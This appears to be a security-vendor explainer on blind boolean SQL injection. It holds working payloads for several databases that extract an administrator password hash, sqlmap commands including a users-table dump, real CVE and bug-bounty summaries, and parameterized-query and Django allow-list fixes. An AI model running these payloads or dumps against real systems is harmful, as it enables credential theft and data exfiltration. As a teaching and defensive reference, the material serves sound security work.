Infers database content character by character by observing whether the application returns a true or false response to boolean conditions.
TL;DR
Blind boolean SQL injection extracts data from a database without any visible output in the HTTP response. Instead of seeing data directly (union-based) or in error messages (error-based), the attacker injects boolean conditions and observes whether the application's response changes between a true condition and a false condition. That binary difference — any difference in content, length, status code, or behavior — is sufficient to extract the entire database schema and its contents, one bit at a time.
The technique falls under the inferential (blind) SQLi category in CWE-89. It applies when an application is injectable but returns no data from the query and suppresses error messages. The attacker leverages the application's control flow: a true condition returns the normal response; a false condition returns something subtly different. No data is visible directly — but the difference between the two responses encodes a single bit of information.
CVE-2024-42005 (Django, CVSS 9.8, HackerOne #2646493) demonstrated that blind boolean injection is not limited to legacy applications or raw SQL. A crafted JSON object key passed as an argument to Django's QuerySet.values() or values_list() methods on models with JSONField leaked into column alias construction without sanitization — making a standard, idiomatic Django ORM call injectable without any raw SQL in the application code.
The attack asks yes/no questions about database content. Each question is a SQL condition injected into the query. The application's differing responses for true versus false conditions answer each question.
Step 1 — Confirm differential (true vs false baseline):
' AND 1=1-- -- true: should match baseline response
' AND 1=2-- -- false: should differ from baseline responseThe critical guard: if the baseline response already differs from AND 1=1, the parameter semantics changed and boolean differential scoring is invalid. BreachVex requires the baseline and true condition to match closely before accepting a differential as genuine.
Step 2 — Determine target data length:
' AND LENGTH((SELECT password FROM users WHERE username='administrator'))=32--
' AND LENGTH((SELECT password FROM users WHERE username='administrator'))>20--
' AND LENGTH((SELECT password FROM users WHERE username='administrator'))>30--Binary search on length narrows the exact character count in ~7 requests.
Step 3 — Character-by-character extraction via binary search:
-- Is the first character ASCII value > 64 (i.e., > '@')?
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1))>64--
-- Is it > 96 (i.e., > '`' — uppercase or number range)?
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1))>96--
-- Is it exactly 97 ('a')?
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1))=97--Binary search halves the search space at each step: character range 32–127 (printable ASCII) is resolved in 7 comparisons. For a 32-character hash, that is approximately 224 HTTP requests total.
| Variant | Technique | Response Signal |
|---|---|---|
| Content differential | AND 1=1 vs AND 1=2 | Different page content, message, or element |
| Length differential | AND 1=1 vs AND 1=2 | Response body length difference (≥50 bytes) |
| Status code differential | AND 1=1 vs AND 1=2 | 200 vs 302, 200 vs 404 |
| Conditional expression | IF(cond, 'a', 'b') | Different output string in response |
| CASE WHEN | CASE WHEN (cond) THEN 'x' ELSE 'y' END | Controlled output string |
| Substring extraction | ASCII(SUBSTRING(data,pos,1))>N | Binary search on character values |
| Length probing | LENGTH(data)=N | True/false on exact length |
-- MySQL — conditional expression
' AND IF(SUBSTRING(database(),1,1)='a',1,0)--
' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>96,1,0)--
' AND (SELECT COUNT(*) FROM users WHERE username='admin'
AND SUBSTRING(password,1,1)='a')=1--
-- MySQL — length detection
' AND LENGTH((SELECT password FROM users LIMIT 1))=32---- PostgreSQL — CASE WHEN expression
' AND (SELECT CASE WHEN (username='administrator') THEN 'a' ELSE 'b' END
FROM users LIMIT 1)='a'--
' AND (SELECT CASE WHEN (ASCII(SUBSTRING(password,1,1))>96) THEN 'a' ELSE 'b' END
FROM users WHERE username='administrator' LIMIT 1)='a'---- MSSQL — CASE WHEN
' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE 0 END)=1--
' AND (SELECT CASE WHEN
(ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>96)
THEN 1 ELSE 0 END)=1---- Oracle — CASE WHEN with DUAL
' AND (SELECT CASE WHEN (1=1) THEN 'a' ELSE 'b' END FROM dual)='a'--
' AND (SELECT CASE WHEN
(SUBSTR((SELECT password FROM users WHERE rownum=1),1,1)='a')
THEN 'a' ELSE 'b' END FROM dual)='a'--The SUBSTRING function has different names across databases: SUBSTRING() in MySQL and MSSQL, SUBSTR() in Oracle, SUBSTRING() in PostgreSQL (but SUBSTR() also works). The ASCII() function is standard across MySQL and PostgreSQL; Oracle uses ASCII() as well, but some versions use ORD() for multi-byte character handling.
BreachVex implements a 4-step boolean differential scoring algorithm:
# Step 1: Establish baseline
baseline = fetch(original_url)
# Step 2: Inject true and false conditions
true_resp = fetch(inject(url, param, f"{value} AND 1=1"))
false_resp = fetch(inject(url, param, f"{value} AND 1=2"))
# Step 3: Compute text similarity against the baseline
true_sim = text_similarity(baseline.body, true_resp.body)
false_sim = text_similarity(baseline.body, false_resp.body)
# Step 4: Score the differential
if true_sim > HIGH_MATCH and false_sim < LOW_MATCH:
flag_probable_injection() # strong boolean differentialRequiring the true condition to match the baseline closely while the false condition diverges eliminates false positives from dynamic content (advertisements, timestamps, session tokens) that naturally varies between requests. A clear gap between true and false similarity is the threshold for confident boolean differential detection.
CVE-2024-42005 — Django QuerySet JSONField Injection (CVSS 9.8, HackerOne #2646493) — Django 4.2 before 4.2.15 and 5.0 before 5.0.8 were vulnerable to SQL injection through QuerySet.values() and values_list() on models with JSONField. A crafted JSON object key passed as an argument leaked into column alias construction without sanitization. The technique was boolean-differential: the ORM query executed successfully but returned different result sets depending on injected conditions. Researcher Eyal Gabay (EyalSec) disclosed via the Internet Bug Bounty program. The fix required validating all column alias components before SQL construction.
HackerOne #786044 — Mail.ru ($5,000 bounty) — Blind SQL injection at windows10.hi-tech.mail.ru. The researcher identified boolean differential by observing response content changes on true versus false conditions, then used automated extraction to dump target data. The vulnerability existed in a content delivery component that constructed dynamic queries from URL parameters.
HackerOne #2597543 — U.S. Department of Defense (2024) — Blind SQL injection in a DoD web application disclosed via the HackerOne DoD Bug Bounty program. The researcher manipulated database queries via injection into a vulnerable parameter, inferring data through response behavioral differences. No error messages were present, confirming the technique as purely boolean-differential.
CVE-2025-64459 — Django Q() Object Injection (CVSS 9.1, November 2025) — Django 4.2 before 4.2.26, 5.1 before 5.1.14, and 5.2 before 5.2.8 allowed SQL injection through _connector and _negated internal Q() object parameters when user-controlled dictionaries were expanded into filter(**user_input). An attacker injecting {"_connector": "OR"} reshaped the query tree, enabling authentication bypass through boolean-differential conditions. Detection required identifying applications that pass user-controlled filter dictionaries to Django ORM methods.
' AND 1=1-- and record the full response — status code, content length, and selected body text.' AND 1=2-- and compare against step 2. Any difference in status, length, or body content confirms injectable parameter.ORDER BY and sort parameters specifically — these are injected in approximately 15% of HackerOne SQLi reports and are frequently untested by automated scanners.{"filter": "test"} to {"filter": "test' AND 1=1--"} and compare with AND 1=2.X-Forwarded-For, User-Agent, and Referer headers — these are logged to databases and may be injectable.# Boolean-based technique targeting
sqlmap -u "https://target.com/search?q=test" \
--technique=B --batch --dbs
# JSON body boolean injection
sqlmap -u "https://target.com/api/filter" \
--data='{"filter":"test"}' \
--content-type="application/json" \
--technique=B --batch
# With level increase to test more injection points (headers, cookies)
sqlmap -u "https://target.com/search?q=test" \
--technique=B --level=3 --batch
# Dump specific table after schema enumeration
sqlmap -u "https://target.com/search?q=1" \
--technique=B -D target_db -T users --dump --batchBreachVex escalates boolean-confirmed probable findings to industry-standard offensive tooling for automated character extraction, using a fast probe pass before a full deep scan.
Parameterized queries prevent boolean injection by binding user input as typed data values that cannot reshape the query's boolean logic.
# Python — SAFE
cursor.execute(
"SELECT * FROM users WHERE username = %s",
(username,)
)
# VULNERABLE — boolean conditions can be injected
cursor.execute(f"SELECT * FROM users WHERE username = '{username}'")// Node.js — SAFE
const result = await client.query(
'SELECT * FROM users WHERE username = $1 AND active = $2',
[username, true]
);
// VULNERABLE
await client.query(`SELECT * FROM users WHERE username = '${username}'`);For Django applications that accept user-controlled filter dictionaries, validate all keys against an explicit allow-list before passing to ORM methods.
# VULNERABLE — user controls filter keys
results = MyModel.objects.filter(**user_input)
# SAFE — allow-listed keys only
ALLOWED_FILTER_FIELDS = {'status', 'category', 'created_after'}
def safe_filter(user_input):
validated = {
k: v for k, v in user_input.items()
if k in ALLOWED_FILTER_FIELDS
}
return MyModel.objects.filter(**validated)CVE-2025-64459 confirms that Django's filter(**user_input) is injectable when user input includes internal Q() parameters like _connector or _negated. Never pass unvalidated user dictionaries directly to Django ORM filter methods. Upgrade Django to 4.2.26+, 5.1.14+, or 5.2.8+ and add allow-list key validation.
Blind boolean SQL injection injects true and false conditions into a SQL query and observes whether the application responds differently — different page content, response length, status code, or redirect behavior. Data is extracted bit by bit by asking yes/no questions about the database content.
Binary search narrows each ASCII character from 256 possibilities to 8 comparisons. A 32-character password hash requires approximately 224 requests (7 comparisons per character × 32 characters). Automated tools like sqlmap optimize this with parallelism and adaptive strategies.
Common differentials: page content changes (Welcome back message appears/disappears), response body length differences of more than 50 bytes, HTTP status code changes (200 vs 302 or 404), redirect vs no-redirect, or any structural difference between AND 1=1 and AND 1=2 responses.
CVE-2024-42005 (Django, CVSS 9.8) allowed SQL injection through QuerySet.values() and values_list() on models with a JSONField via crafted JSON object keys. Standard ORM calls without raw SQL were injectable. HackerOne #2646493 documented the disclosure.
BreachVex computes text similarity between the baseline response, the AND 1=1 response, and the AND 1=2 response. A high-confidence differential — the true condition closely matching the baseline while the false condition diverges — flags a probable injection and escalates to automated character extraction with industry-standard offensive tooling.
Boolean-based blind uses response content or structural differences to infer true/false. Time-based blind uses response delay as the signal. Time-based is used when the application returns identical responses for all inputs regardless of query outcome.
Yes. ORDER BY and sort parameters are frequently injectable but rarely tested. An injection like ?sort=1; WAITFOR DELAY '0:0:5'-- switches to time-based, but boolean-differential can be applied via ?sort=CASE WHEN (1=1) THEN name ELSE price END to detect response differences.